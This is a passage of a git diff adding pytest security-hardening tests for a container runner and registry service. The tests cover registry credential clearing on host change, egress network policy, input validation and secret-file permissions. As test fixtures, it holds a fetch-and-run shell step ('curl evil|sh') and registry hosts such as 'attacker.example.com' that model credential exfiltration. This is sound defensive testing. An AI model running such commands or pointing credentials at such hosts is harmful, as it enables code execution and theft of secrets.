"destroy": [{"name": "teardown", "timeout_seconds": 5000, + "retry": {"max_attempts": 2}}], + }}} + module = self._module(db, manifest) + + for phase in ("apply", "destroy"): + engine_steps = canonical_step_sets(manifest)[phase] + # Re-derive from a manifest holding ONLY the engine's resolved steps + # at the top level; if the derivation reads the canonical set, the + # two budgets are identical. + reference = self._module(db, {"steps": {phase: engine_steps}}) + derived = task_dispatch._derive_container_time_limits(module, phase) + expected = task_dispatch._derive_container_time_limits(reference, phase) + assert expected, f"sanity: the {phase} reference must derive a real budget" + assert derived == expected, ( + f"derivation disagrees with the engine's resolved {phase} steps" + ) + + def test_destroy_budget_is_derived_from_execution_steps(self, db): + """destroy goes through the same resolver as apply (issue #463 F5).""" + module = self._module(db, {"execution": {"steps": {"destroy": self._STEPS}}}) + limits = task_dispatch._derive_container_time_limits(module, "destroy") + assert limits and limits["time_limit"] > 7500 + + def test_action_step_set_is_untouched_by_the_resolver(self, db): + """The issue is explicit: leave the `action` branch reading manifest["actions"].""" + module = self._module(db, { + "actions": {"e2e": {"steps": self._STEPS}}, + # A top-level lifecycle set too -- must not leak into the action budget. + "steps": {"apply": [{"name": "x", "timeout_seconds": 1}]}, + }) + limits = task_dispatch._derive_container_time_limits(module, "action", action="e2e") + assert limits and limits["time_limit"] > 7500 + + def test_missing_phase_in_canonical_set_uses_global_defaults(self, db): + """An execution.steps manifest with no destroy set must not invent one.""" + module = self._module(db, {"execution": {"steps": {"apply": self._STEPS}}}) + assert task_dispatch._derive_container_time_limits(module, "destroy") == {} + + def test_dispatch_apply_honours_execution_steps_end_to_end(self, db): + """Through the real dispatch path, not just the helper.""" + module = self._module(db, {"execution": {"steps": {"apply": self._STEPS}}}) + with patch("tasks.container_tasks.run_container_apply") as task: + task.apply_async.return_value = MagicMock(id="celery-127") + task_dispatch.dispatch_apply(127, module) + _, kwargs = task.apply_async.call_args + assert kwargs.get("time_limit", 0) > 7500, ( + "dispatch fell back to the global limit for an execution.steps manifest" + ) + + +@pytest.mark.component +class TestContainerActionTimeLimits: + """A long e2e/scenario action needs the same derived limit as apply (#463 F5).""" + + def test_action_dispatch_derives_time_limit_from_the_action_step_set(self, db): + module = _container_module(db) + module.library_module.pack_manifest = { + "actions": { + "run-e2e": { + "title": "E2E", + "steps": [ + {"name": "e2e", "timeout_seconds": 3600, + "retry": {"max_attempts": 3, "backoff_seconds": 300}}, + ], + } + } + } + db.flush() + with patch("tasks.container_tasks.run_container_action") as task: + task.apply_async.return_value = MagicMock(id="celery-act") + task_dispatch.dispatch_container_action(107, module, "run-e2e", {"scenario": "x"}) + + kwargs = task.apply_async.call_args.kwargs + assert kwargs.get("time_limit", 0) > 7500, ( + "an action budget exceeding the global limit did not raise this task's " + "limit — a long e2e run is hard-killed mid-run, leaving the module lock " + "for the reclaim sweep (#463 F5)" + ) + + def test_action_without_a_budget_uses_global_defaults(self, db): + """Contrast: a short action must not get a bespoke limit.""" + module = _container_module(db) + module.library_module.pack_manifest = { + "actions": {"quick": {"title": "Quick", "steps": [{"name": "q", "timeout_seconds": 60}]}} + } + db.flush() + with patch("tasks.container_tasks.run_container_action") as task: + task.apply_async.return_value = MagicMock(id="celery-act2") + task_dispatch.dispatch_container_action(108, module, "quick", None) + + assert "time_limit" not in task.apply_async.call_args.kwargs diff --git a/backend/tests/component/test_container_hardening_phase2.py b/backend/tests/component/test_container_hardening_phase2.py new file mode 100644 index 00000000..5936222e --- /dev/null +++ b/backend/tests/component/test_container_hardening_phase2.py @@ -0,0 +1,556 @@ +"""Second container-runner hardening pass — issues #79 (items 3/5), #96 N2, #102.""" + +from unittest.mock import MagicMock, patch + +import pytest + +from core.errors import BadRequestError + + +@pytest.mark.unit +@pytest.mark.component +class TestRegistryHostChangeClearsCredential: + """Repointing a registry must invalidate its stored credential (#79 item 3). + + Registries are global and update_registry allows changing registry_host + WITHOUT re-supplying the token. `_test_basic_v2` then decrypts the stored + token and sends it as Basic auth to whatever host is now on the record — so + operator A could repoint operator B's registry at a host they control, press + Test, and collect B's PAT. + + Clearing on host change is deliberately narrower than an allowlist or a + private-address check: both of those would also block a self-hosted Harbor + or Artifactory on RFC1918, which is a supported configuration. + """ + + def test_changing_the_host_without_a_new_token_clears_the_credential(self, db): + from models import ContainerRegistry + from services.container_registry_service import ContainerRegistryService + + reg = ContainerRegistry(name="harbor-1", type="harbor", + registry_host="harbor.internal", + username="robot$ci", token_encrypted="enc_secret") + db.add(reg) + db.commit() + db.refresh(reg) + + from routes.container_registries import ContainerRegistryUpdate + + ContainerRegistryService(db).update_registry( + reg.id, ContainerRegistryUpdate(registry_host="attacker.example.com")) + db.refresh(reg) + + assert reg.token_encrypted is None, ( + "the stored credential survived a host change — pressing Test would " + "send it to the new host (#79 item 3)" + ) + + def test_far_service_account_is_also_cleared(self, db): + """Every credential family, not just basic-auth (review finding). + + _clear_off_family_credentials preserves the CURRENT family's credential, + so clearing only token_encrypted left a FAR registry's service account + intact — and _test_far sends it to the same registry_host. + """ + from models import ContainerRegistry + from routes.container_registries import ContainerRegistryUpdate + from services.container_registry_service import ContainerRegistryService + + reg = ContainerRegistry(name="far-1", type="far", + registry_host="far.internal", + far_service_account_encrypted="enc_sa") + db.add(reg) + db.commit() + db.refresh(reg) + + ContainerRegistryService(db).update_registry( + reg.id, ContainerRegistryUpdate(registry_host="attacker.example.com")) + db.refresh(reg) + + assert reg.far_service_account_encrypted is None, ( + "the FAR service account survived a host change — _test_far would " + "send it to the new host (#79 item 3)" + ) + + def test_changing_the_host_WITH_a_new_token_keeps_the_new_one(self, db): + """Contrast: supplying a token for the new host is the legitimate flow.""" + from models import ContainerRegistry + from services.container_registry_service import ContainerRegistryService + + reg = ContainerRegistry(name="harbor-2", type="harbor", + registry_host="harbor.internal", + username="robot$ci", token_encrypted="enc_old") + db.add(reg) + db.commit() + db.refresh(reg) + + from routes.container_registries import ContainerRegistryUpdate + + ContainerRegistryService(db).update_registry( + reg.id, ContainerRegistryUpdate(registry_host="harbor2.internal", + token="brand-new")) + db.refresh(reg) + assert reg.token_encrypted, "a token supplied with the host change must be kept" + + +@pytest.mark.unit +class TestRunnerNetworkPolicy: + """The runner NetworkPolicy must allow DNS + public egress (#79 item 5). + + `egress=[]` with policy_types including Egress denies ALL egress including + DNS, so on an enforcing CNI a provisioning artifact cannot resolve anything + or reach a cloud API — while the docstring claimed egress reached the cloud + control plane. + """ + + def _policy(self): + from services.execution.kubernetes_runner import KubernetesRunner, RunnerKubeConfig + r = KubernetesRunner(RunnerKubeConfig(kubeconfig_path="/dev/null", + context=None, namespace="bnk-forge-runner")) + return r.build_network_policy() + + def test_ingress_is_still_fully_denied(self): + assert self._policy().spec.ingress == [] + + def test_dns_egress_is_allowed(self): + rules = self._policy().spec.egress + ports = [p for r in rules for p in (r.ports or [])] + assert {(p.protocol, p.port) for p in ports} >= {("UDP", 53), ("TCP", 53)}, ( + "DNS egress is not allowed — on an enforcing CNI the artifact cannot " + "resolve anything and the step fails (#79 item 5)" + ) + + def test_public_egress_allowed_but_private_ranges_excluded(self): + rules = self._policy().spec.egress + blocks = [p.ip_block for r in rules for p in (r.to or []) if p.ip_block] + assert blocks, "no ipBlock egress rule — cloud control planes unreachable" + b = blocks[0] + assert b.cidr == "0.0.0.0/0" + excepts = set(getattr(b, "_except", None) or []) + for cidr in ("10.0.0.0/8", "192.168.0.0/16", "169.254.0.0/16"): + assert cidr in excepts, ( + f"{cidr} is not excluded — a third-party artifact image can reach " + "cluster-internal services or the cloud metadata endpoint" + ) + + +@pytest.mark.unit +class TestNonScalarActionInput: + """A `type: string` input must reject dict/list values (#96 N2).""" + + DECL = [{"name": "scenario", "type": "string"}] + + def test_dict_value_is_rejected(self): + from utils.security import validate_action_inputs + with pytest.raises(ValueError, match="(?i)expected a string"): + validate_action_inputs(self.DECL, {"scenario": {"nested": "object"}}) + + def test_list_value_is_rejected(self): + from utils.security import validate_action_inputs + with pytest.raises(ValueError, match="(?i)expected a string"): + validate_action_inputs(self.DECL, {"scenario": ["a", "b"]}) + + def test_scalars_still_accepted(self): + """Contrast: str/int/float/bool must keep working.""" + from utils.security import validate_action_inputs + for v in ("tcpl4lb", 5, 1.5, True): + assert validate_action_inputs(self.DECL, {"scenario": v})["scenario"] == v + + +@pytest.mark.unit +class TestSecretFileStepCollision: + """A secret_files path must not collide with a directory a step creates (#102).""" + + def _manifest(self, secret_path, step_args): + return { + "schema_version": 1, "name": "runner", "version": "1.0.0", + "kind": "container_image", + "container_image": {"registry_host": "ghcr.io", "repository": "org/r", + "digest": "sha256:" + "a" * 64}, + "secret_files": [{"secret_name": "far-key", "path": secret_path}], + "steps": {"apply": [{"name": "init-poc", "args": step_args, "run_once": True}]}, + } + + def _validate(self, manifest): + from services.module_metadata import ModuleMetadataValidator + return ModuleMetadataValidator().validate_artifact_manifest( + manifest, registry_host_allowlist=["ghcr.io"] + ) + + def test_collision_is_rejected(self): + """The real case: both fields template off the same input.""" + from services.module_metadata import InvalidMetadataSchemaError + m = self._manifest("poc/keys/f5-far-auth-key.tgz", ["ocibnkctl", "init", "poc"]) + with pytest.raises(InvalidMetadataSchemaError, match="(?i)already exists|bare argument"): + self._validate(m) + + def test_non_colliding_manifest_is_accepted(self): + """Contrast: a different parent directory validates fine.""" + self._validate(self._manifest("secrets/f5-far-auth-key.tgz", + ["ocibnkctl", "init", "poc"])) + + def test_flags_and_paths_are_not_treated_as_creation_targets(self): + """Narrowness check: only BARE tokens count, or this false-positives.""" + self._validate(self._manifest("poc/keys/k.tgz", + ["ocibnkctl", "init", "--name", "poc/sub"])) + + +@pytest.mark.component +class TestOffFamilyCredentialBypass: + """Supplying an OFF-family credential must not preserve the at-risk one. + + Review finding: the clearing guard was `bool(token or far_service_account) + or credential_template_id is not None` — a disjunction over all three + families gating the block that protects the ONE family the record reads. So + sending any other family's value satisfied the guard and left the stored + secret intact for the next Test against the attacker's host. + """ + + def _reg(self, db, **kw): + from models import ContainerRegistry + reg = ContainerRegistry(registry_host="victim.internal", **kw) + db.add(reg) + db.commit() + db.refresh(reg) + return reg + + def _repoint(self, db, reg, **payload): + from routes.container_registries import ContainerRegistryUpdate + from services.container_registry_service import ContainerRegistryService + ContainerRegistryService(db).update_registry( + reg.id, ContainerRegistryUpdate(registry_host="attacker.example.com", **payload)) + db.refresh(reg) + + def test_far_service_account_does_not_preserve_a_basic_token(self, db): + """`far_service_account: "{}"` is the cheapest variant — any parseable + JSON is accepted, so no real secret is needed to trigger it.""" + reg = self._reg(db, name="h1", type="harbor", token_encrypted="enc_victimPAT") + self._repoint(db, reg, far_service_account="{}") + assert reg.token_encrypted is None, ( + "an off-family credential preserved the basic-auth token — " + "_test_basic_v2 would send it to attacker.example.com" + ) + + def test_token_does_not_preserve_a_far_service_account(self, db): + reg = self._reg(db, name="f1", type="far", + far_service_account_encrypted="enc_victimSA") + self._repoint(db, reg, token="x") + assert reg.far_service_account_encrypted is None, ( + "an off-family token preserved the FAR service account" + ) + + def test_derived_registry_still_clears_when_no_template_is_resupplied(self, db): + """A derived registry loses its template on a bare host change. + + The reviewer's third variant — replaying the record's own template id — + is deliberately NOT blocked: create_registry already accepts any + template id on a new registry at any host, so refusing it on update buys + nothing and makes a derived registry's host unchangeable. The underlying + problem is that credential templates carry no per-operator authorisation + on either path; that is filed separately and is not closed here. + + What this pins is that a host change with NO template re-supplied still + detaches it. + """ + from models.system import CloudCredentialTemplate + tpl = CloudCredentialTemplate(name="ecr-tpl", provider="aws") + db.add(tpl) + db.flush() + reg = self._reg(db, name="e1", type="harbor", credential_template_id=tpl.id, + token_encrypted="enc_v") + self._repoint(db, reg) + assert reg.credential_template_id is None + assert reg.token_encrypted is None + + def test_empty_old_host_still_clears(self, db): + """registry_host has no min_length at create, so "" is reachable and the + old truthiness test skipped the guard entirely.""" + reg = self._reg(db, name="blank", type="harbor", token_encrypted="enc_v") + reg.registry_host = "" + db.commit() + self._repoint(db, reg) + assert reg.token_encrypted is None + + def test_the_whole_cached_verdict_is_cleared(self, db): + """A null status beside a stale success timestamp is not 'cleared'.""" + from datetime import UTC, datetime + reg = self._reg(db, name="v1", type="harbor", token_encrypted="enc_v", + last_test_status="ok", last_test_at=datetime.now(UTC)) + self._repoint(db, reg) + assert reg.last_test_status is None + assert reg.last_test_at is None + + def test_supplying_a_new_credential_for_the_new_host_still_works(self, db): + """Contrast: the legitimate move-and-recredential flow must survive.""" + reg = self._reg(db, name="ok1", type="harbor", token_encrypted="enc_old") + self._repoint(db, reg, token="brand-new") + assert reg.token_encrypted, "a token supplied with the host change must be kept" + + +@pytest.mark.unit +class TestNetworkPolicyScoping: + """Every egress rule must carry an explicit `to` (review finding). + + A rule with `ports` and no `to` permits ALL destinations on those ports, and + an ipBlock `except` binds only to its own rule — so the DNS rule silently + reopened 169.254.169.254:53 and every RFC1918 host on 53, TCP included. + """ + + def _policy(self): + from services.execution.kubernetes_runner import KubernetesRunner, RunnerKubeConfig + return KubernetesRunner(RunnerKubeConfig(kubeconfig_path="/dev/null", context=None, + namespace="bnk-forge-runner")).build_network_policy() + + def test_no_egress_rule_is_unscoped(self): + for i, rule in enumerate(self._policy().spec.egress): + assert getattr(rule, "to", None), ( + f"egress rule[{i}] has no 'to' — it permits ALL destinations on " + "its ports, defeating the ipBlock except list" + ) + + def test_dns_is_scoped_to_the_resolver_namespace(self): + rules = [r for r in self._policy().spec.egress + if any(p.port == 53 for p in (r.ports or []))] + assert rules, "no DNS rule" + peers = rules[0].to + assert any(getattr(p, "namespace_selector", None) for p in peers), ( + "DNS egress is not namespace-scoped" + ) + + def test_the_builder_refuses_an_unscoped_rule(self): + """The guard is enforced in code, not left to review.""" + from kubernetes import client as k + + from services.execution.kubernetes_runner import KubernetesRunner + bad = k.V1NetworkPolicy(spec=k.V1NetworkPolicySpec( + pod_selector=k.V1LabelSelector(), policy_types=["Egress"], + egress=[k.V1NetworkPolicyEgressRule(ports=[k.V1NetworkPolicyPort(port=53)])])) + with pytest.raises(ValueError, match="no 'to'"): + KubernetesRunner._assert_every_egress_rule_is_scoped(bad) + + +@pytest.mark.unit +class TestCollisionCheckPrecision: + """The collision check must not fire on a flag VALUE, and must cover actions.""" + + def _manifest(self, secret_path, *, steps=None, actions=None): + m = {"schema_version": 1, "name": "r", "version": "1.0.0", "kind": "container_image", + "container_image": {"registry_host": "ghcr.io", "repository": "o/r", + "digest": "sha256:" + "a" * 64}, + "secret_files": [{"secret_name": "k", "path": secret_path}], + "steps": steps or {"apply": [{"name": "s", "args": ["tool", "run"]}]}} + if actions: + m["actions"] = actions + return m + + def _validate(self, m): + from services.module_metadata import ModuleMetadataValidator + return ModuleMetadataValidator().validate_artifact_manifest( + m, registry_host_allowlist=["ghcr.io"]) + + def test_a_flag_value_is_not_a_creation_target(self): + """`--name poc` names an argument, not a directory the step creates. + + This was rejected before — a false positive the docstring disclaims. + """ + self._validate(self._manifest( + "poc/keys/k.tgz", + steps={"apply": [{"name": "init", "args": ["ocibnkctl", "init", "--name", "poc"]}]})) + + def test_inline_flag_value_is_also_not_a_target(self): + self._validate(self._manifest( + "poc/keys/k.tgz", + steps={"apply": [{"name": "init", "args": ["ocibnkctl", "init", "--name=poc"]}]})) + + def test_a_real_positional_collision_is_still_caught(self): + """Contrast: the genuine #102 shape must still be rejected.""" + from services.module_metadata import InvalidMetadataSchemaError + with pytest.raises(InvalidMetadataSchemaError): + self._validate(self._manifest( + "poc/keys/k.tgz", + steps={"apply": [{"name": "init", "args": ["ocibnkctl", "init", "poc"]}]})) + + def test_the_actions_step_set_is_also_checked(self): + """materialize_secret_files runs on the action path too, so the same + unrecoverable failure recurs there.""" + from services.module_metadata import InvalidMetadataSchemaError + with pytest.raises(InvalidMetadataSchemaError, match="actions.run-e2e"): + self._validate(self._manifest( + "poc/keys/k.tgz", + actions={"run-e2e": {"title": "E2E", + "steps": [{"name": "e", "args": ["tool", "init", "poc"]}]}})) + + +@pytest.mark.unit +class TestRenderRejectsNonScalars: + """The scalar check belongs at the render chokepoint, not in one validator. + + validate_action_inputs guards only the action path; lifecycle steps render + from ctx.variables (module.variables + variable_overrides, both JSON + columns), so a dict there still reached step argv as a Python repr. + """ + + def _engine(self, tmp_path): + from unittest.mock import MagicMock + + from services.execution.container_engine import ContainerEngine + return ContainerEngine(MagicMock(), workspace_host_path=str(tmp_path), + workspace_local_path=str(tmp_path)) + + def test_dict_in_lifecycle_variables_is_rejected(self, tmp_path): + e = self._engine(tmp_path) + with pytest.raises(ValueError, match="only scalar"): + e._render_str("--cfg={{inputs.blob}}", {"blob": {"a": 1}}) + + def test_list_is_rejected(self, tmp_path): + e = self._engine(tmp_path) + with pytest.raises(ValueError, match="only scalar"): + e._render_str("{{inputs.items}}", {"items": [1, 2]}) + + def test_scalars_and_missing_keys_still_render(self, tmp_path): + """Contrast: the normal path, and the documented empty-string fallback.""" + e = self._engine(tmp_path) + assert e._render_str("{{inputs.a}}-{{inputs.b}}", {"a": "x", "b": 5}) == "x-5" + assert e._render_str("{{inputs.missing}}", {}) == "" + + +@pytest.mark.unit +class TestShadowStepSet: + """The engine and the validator must resolve the SAME steps (review finding). + + `_resolve_steps` preferred `execution.steps` and no validator read it, so a + manifest could present benign argv at `steps` for review while + `execution.steps` ran a shell — bypassing the denylist, the shell-token + check and the collision check at once, in a step pod holding cloud + credentials. + """ + + def _manifest(self, **extra): + m = {"schema_version": 1, "name": "r", "version": "1.0.0", "kind": "container_image", + "container_image": {"registry_host": "ghcr.io", "repository": "o/r", + "digest": "sha256:" + "a" * 64}} + m.update(extra) + return m + + def _validate(self, m): + from services.module_metadata import ModuleMetadataValidator + return ModuleMetadataValidator().validate_artifact_manifest( + m, registry_host_allowlist=["ghcr.io"]) + + def test_declaring_steps_in_both_places_is_rejected(self): + from services.module_metadata import InvalidMetadataSchemaError + + m = self._manifest( + steps={"apply": [{"name": "benign", "args": ["tool", "version"]}]}, + execution={"steps": {"apply": [ + {"name": "shell", "args": ["/bin/sh", "-c", "curl evil|sh"]}]}}, + ) + with pytest.raises(InvalidMetadataSchemaError, match="both"): + self._validate(m) + + def test_execution_steps_are_validated_when_they_are_the_only_set(self): + """The shadow set is no longer unreviewed — the denylist reaches it.""" + from services.module_metadata import InvalidMetadataSchemaError + + m = self._manifest(execution={"steps": {"apply": [ + {"name": "shell", "args": ["/bin/sh", "-c", "curl evil|sh"]}]}}) + with pytest.raises(InvalidMetadataSchemaError): + self._validate(m) + + def test_engine_and_validator_resolve_the_same_set(self): + from unittest.mock import MagicMock + + from services.execution.container_engine import ContainerEngine + from services.execution.engine_interface import ModuleContext + from services.module_metadata import canonical_step_sets + + manifest = self._manifest(execution={"steps": {"apply": [ + {"name": "only", "args": ["tool", "run"]}]}}) + engine = ContainerEngine(MagicMock(), workspace_host_path="/tmp/x", + workspace_local_path="/tmp/x") + ctx = ModuleContext(module_id=1, project_id=1, path="p", category="container", + pack_manifest=manifest) + + assert engine._resolve_steps(ctx, "apply") == canonical_step_sets(manifest)["apply"] + + +@pytest.mark.component +class TestHostCanonicalisation: + """A case-only host edit must not destroy write-only credentials.""" + + def _reg(self, db, **kw): + from models import ContainerRegistry + reg = ContainerRegistry(registry_host="harbor.internal", **kw) + db.add(reg) + db.commit() + db.refresh(reg) + return reg + + def _update(self, db, reg, **payload): + from routes.container_registries import ContainerRegistryUpdate + from services.container_registry_service import ContainerRegistryService + ContainerRegistryService(db).update_registry(reg.id, ContainerRegistryUpdate(**payload)) + db.refresh(reg) + + @pytest.mark.parametrize("new_host", [ + "Harbor.Internal", " harbor.internal ", "harbor.internal/", "harbor.internal:443", + ]) + def test_semantically_null_host_edits_preserve_the_credential(self, db, new_host): + """Every consumer strips/lowercases, so these are no-ops for matching.""" + reg = self._reg(db, name=f"h-{abs(hash(new_host))%9999}", type="harbor", + token_encrypted="enc_precious") + self._update(db, reg, registry_host=new_host) + assert reg.token_encrypted == "enc_precious", ( + f"a semantically-null host edit ({new_host!r}) destroyed a write-only " + "credential that may be impossible to re-obtain" + ) + + def test_a_real_host_change_still_clears(self, db): + """Contrast: the actual exfil vector must still be closed.""" + reg = self._reg(db, name="h-real", type="harbor", token_encrypted="enc_precious") + self._update(db, reg, registry_host="attacker.example.com") + assert reg.token_encrypted is None + + +@pytest.mark.unit +class TestDerivedHostMustMatchProvider: + """A derived registry mints a LIVE cloud token when tested (review finding).""" + + def _svc(self): + from unittest.mock import MagicMock + + from services.container_registry_service import ContainerRegistryService + return ContainerRegistryService(MagicMock()) + + def _reg(self, type_, host): + import types + return types.SimpleNamespace(type=type_, registry_host=host) + + @pytest.mark.parametrize("type_,host", [ + ("ecr", "attacker.example.com"), + ("ecr", "123456789012.dkr.ecr.us-east-1.amazonaws.com.evil.net"), + ("icr", "evil.io"), + ("icr", "icr.io.evil.net"), + ]) + def test_non_provider_hosts_are_refused(self, type_, host): + from core.errors import BadRequestError + with pytest.raises(BadRequestError, match="(?i)not a valid"): + self._svc()._assert_derived_host_matches_provider(self._reg(type_, host)) + + @pytest.mark.parametrize("type_,host", [ + ("ecr", "123456789012.dkr.ecr.us-east-1.amazonaws.com"), + # Real endpoint families a first, tighter pass wrongly refused. A false + # positive here blocks a working registry. + ("ecr", "123456789012.dkr.ecr-fips.us-east-1.amazonaws.com"), + ("ecr", "public.ecr.aws"), + ("ecr", "123456789012.dkr.ecr.cn-north-1.amazonaws.com.cn"), + ("icr", "us.icr.io"), ("icr", "icr.io"), ("icr", "private.us.icr.io"), + ]) + def test_real_provider_hosts_are_allowed(self, type_, host): + self._svc()._assert_derived_host_matches_provider(self._reg(type_, host)) + + def test_standalone_types_are_untouched(self): + """Self-hosted Harbor/Artifactory on any name must keep working — the + reason a general host allowlist was rejected in the first place.""" + for t in ("harbor", "artifactory", "distribution", "oci"): + self._svc()._assert_derived_host_matches_provider(self._reg(t, "anything.internal")) diff --git a/backend/tests/component/test_container_secret_files.py b/backend/tests/component/test_container_secret_files.py index 3663e5cf..2938e0d2 100644 --- a/backend/tests/component/test_container_secret_files.py +++ b/backend/tests/component/test_container_secret_files.py @@ -270,6 +270,104 @@ def test_materialize_overwrites_stale_content_and_mode(db, make_project, tmp_pat assert oct(os.stat(dest).st_mode & 0o777) == "0o600" +def test_materialize_sets_mode_on_the_open_descriptor_not_the_path( + db, make_project, tmp_path, monkeypatch +): + """#94 N1: the 0600 must be applied via fchmod on the fd we opened with + O_NOFOLLOW, never via os.chmod(path) after close. + + chmod by path re-resolves the name and follows symlinks, so a co-tenant + swapping the destination for a symlink between our close and the chmod + would get an arbitrary reachable file chmod'd. fchmod acts on the exact + inode already open -- no re-resolution, nothing to race. Pin the + mechanism: os.chmod must not be called on the destination at all. + """ + import os as _os + + project = make_project() + db.commit() + _file_secret(db, project.id, "far_tarball", b"payload") + + path_chmods: list[str] = [] + real_chmod = _os.chmod + + def _spy_chmod(path, mode, *a, **kw): + path_chmods.append(str(path)) + return real_chmod(path, mode, *a, **kw) + + fchmods: list[int] = [] + real_fchmod = _os.fchmod + + def _spy_fchmod(fd, mode): + fchmods.append(mode) + return real_fchmod(fd, mode) + + monkeypatch.setattr("services.execution.container_run_secrets.os.chmod", _spy_chmod) + monkeypatch.setattr("services.execution.container_run_secrets.os.fchmod", _spy_fchmod) + + materialize_secret_files( + db, project.id, + _artifact([{"secret_name": "far_tarball", "path": "poc/keys/f5-far.tgz"}]), + str(tmp_path), + ) + + dest = tmp_path / "poc" / "keys" / "f5-far.tgz" + assert oct(_os.stat(dest).st_mode & 0o777) == "0o600" + assert fchmods == [0o600], "mode must be applied via fchmod on the open descriptor" + assert not any(p.endswith("f5-far.tgz") for p in path_chmods), ( + "os.chmod(path) was called on the destination -- that follows symlinks and " + "reopens the race fchmod exists to close (#94 N1)" + ) + + +def test_materialize_tightens_mode_before_writing_over_a_wide_file( + db, make_project, tmp_path, monkeypatch +): + """On a re-run over a pre-existing wider-mode file, O_CREAT's 0600 does not + apply -- so the mode must be tightened BEFORE the secret bytes land, or the + secret sits world-readable for the duration of the write. Observe the mode + at the moment of the write call. + """ + import os as _os + + project = make_project() + db.commit() + _file_secret(db, project.id, "far_tarball", b"payload") + + dest = tmp_path / "poc" / "keys" / "f5-far.tgz" + dest.parent.mkdir(parents=True) + dest.write_bytes(b"stale") + dest.chmod(0o644) # the wide pre-existing file a re-run would hit + + modes_at_write: list[str] = [] + real_fdopen = _os.fdopen + + def _spy_fdopen(fd, *a, **kw): + f = real_fdopen(fd, *a, **kw) + real_write = f.write + + def _write(data): + modes_at_write.append(oct(_os.fstat(fd).st_mode & 0o777)) + return real_write(data) + + f.write = _write + return f + + monkeypatch.setattr("services.execution.container_run_secrets.os.fdopen", _spy_fdopen) + + materialize_secret_files( + db, project.id, + _artifact([{"secret_name": "far_tarball", "path": "poc/keys/f5-far.tgz"}]), + str(tmp_path), + ) + + assert dest.read_bytes() == b"payload" + assert modes_at_write == ["0o600"], ( + f"secret bytes were written while the file was {modes_at_write} -- mode must " + "be tightened before the write, not after" + ) + + def test_materialize_noop_without_secret_files(db, make_project, tmp_path): project = make_project() db.commit() diff --git a/backend/tests/component/test_deployment_record_task_link.py b/backend/tests/component/test_deployment_record_task_link.py new file mode 100644 index 00000000..1efbbeac --- /dev/null +++ b/backend/tests/component/test_deployment_record_task_link.py @@ -0,0 +1,38 @@ +"""create_deployment_record must carry the task id (#154). + +A Deployment row has no task_id column, and the task is the handle for a +run's output (GET /api/tasks/{id}). Until #154 that handle was not reachable +from any module-facing endpoint: /deployments returned a deployment `id` that +looked like the log handle but was not. The shared writer every engine goes +through now records it in meta_data, with no schema change. +""" + +from __future__ import annotations + +from datetime import UTC, datetime + +import pytest + +from models import Deployment, Task +from tasks._tofu_helpers import create_deployment_record +from tests.factories import ModuleLibraryFactory, ProjectFactory, ProjectModuleFactory + + +@pytest.mark.component +def test_create_deployment_record_links_the_task(db): + project = ProjectFactory(db) + lib = ModuleLibraryFactory(db, category="container", execution_engine="container") + module = ProjectModuleFactory(db, project=project, library_module=lib) + task = Task( + project_id=project.id, module_id=module.id, task_type="apply", + status="completed", triggered_by="user", celery_task_id="cel-link-1", + started_at=datetime.now(UTC), completed_at=datetime.now(UTC), exit_code=0, + ) + db.add(task) + db.commit() + + dep = create_deployment_record(db, task, module, "apply", logs="ok") + + stored = db.query(Deployment).filter_by(id=dep.id).one() + assert stored.meta_data["task_id"] == task.id + assert stored.meta_data["celery_task_id"] == "cel-link-1" diff --git a/backend/tests/component/test_event_chain_destroy.py b/backend/tests/component/test_event_chain_destroy.py index 3ffeadf0..bc852e95 100644 --- a/backend/tests/component/test_event_chain_destroy.py +++ b/backend/tests/component/test_event_chain_destroy.py @@ -655,6 +655,13 @@ def test_reset_stale_destroy_task_recovers_module_and_run( module_id=mod.id, celery_task_id="dead-worker-task-id", created_at=datetime.now(UTC), + # run_handle is what _dispatch_first_destroy_wave stamps on every + # row of a project run, and create_task (single-module) never does. + # It is now the discriminator for an UNSTAMPED row: no run_handle + # means a single-module destroy, which must not chain. Without it + # this fixture described a row a project destroy cannot produce. + run_handle="run-worker-death", + meta_data={"destroy_scope": "project"}, ) db.add(stuck_task) db.commit() @@ -1631,3 +1638,296 @@ def get_reverse_deps(module_id, project_id): # infra_mod dispatched (became a leaf after bnk pre-marked) assert infra_mod.id in dispatched_ids + + +# --------------------------------------------------------------------------- +# Module-scope destroy — issue #525 +# --------------------------------------------------------------------------- + +class TestModuleScopeDestroyDoesNotCascade: + """A single-module destroy must not tear down the modules it depends on. + + Reported as issue #525: destroying `bnk-install` in a two-module blueprint + cascaded into `cluster-create` and deleted the ROKS cluster (plus its VPC and + Transit Gateway) that BNK had been installed on. The chain is correct for a + project/stack teardown and wrong for one named module. + """ + + def _two_module_stack(self, db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance): + """cluster-create <- bnk-install, both applied, inside a stack instance. + + The stack matters: with no destroy_scope stamp the chain falls back to the + stack_instance_id heuristic, which is the path that produced the cascade. + """ + project = make_project() + lib_cluster = make_module_library(name="cluster-create", path="bnk/cluster-create") + lib_bnk = make_module_library(name="bnk-install", path="bnk/bnk-install") + template = make_stack_template() + stack = make_stack_instance(project=project, template=template, status="deployed") + + cluster_mod = make_project_module( + project=project, library_module=lib_cluster, status="applied", + stack_instance_id=stack.id, + ) + bnk_mod = make_project_module( + project=project, library_module=lib_bnk, status="destroyed", + dependencies=[cluster_mod.id], stack_instance_id=stack.id, + ) + stack.deployed_modules = [cluster_mod.id, bnk_mod.id] + db.flush() + return project, cluster_mod, bnk_mod + + def _run_trigger(self, db, completed_mod, dependency_mod): + """Run the post-destroy trigger, returning the module ids it dispatched.""" + from tasks._tofu_helpers import _trigger_next_destroy_module + + dispatched = [] + + def capture_dispatch(task_id, module): + dispatched.append(module.id) + mock = MagicMock() + mock.apply_async.return_value.id = f"celery-{module.id}" + return mock + + with patch("tasks._tofu_helpers.DependencyGraphService") as mock_gs, \ + patch("services.execution.task_dispatch.dispatch_destroy_signature", + side_effect=capture_dispatch), \ + patch("tasks._tofu_helpers._run_terminal_detection"): + mock_graph = MagicMock() + mock_graph.get_reverse_dependencies.return_value = [completed_mod] + mock_gs.return_value = mock_graph + + _trigger_next_destroy_module(completed_mod, db) + + return dispatched + + def test_module_scope_destroy_does_not_queue_its_dependency( + self, db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance, make_task, + ): + """destroy_scope=module stops the chain — the dependency survives.""" + project, cluster_mod, bnk_mod = self._two_module_stack( + db, make_project, make_project_module, make_module_library, + make_stack_template, make_stack_instance, + ) + + # This is what submit_destroy stamps for a single-module destroy. + make_task( + project=project, module=bnk_mod, task_type="destroy", status="completed", + meta_data={"destroy_scope": "module"}, + ) + + dispatched = self._run_trigger(db, 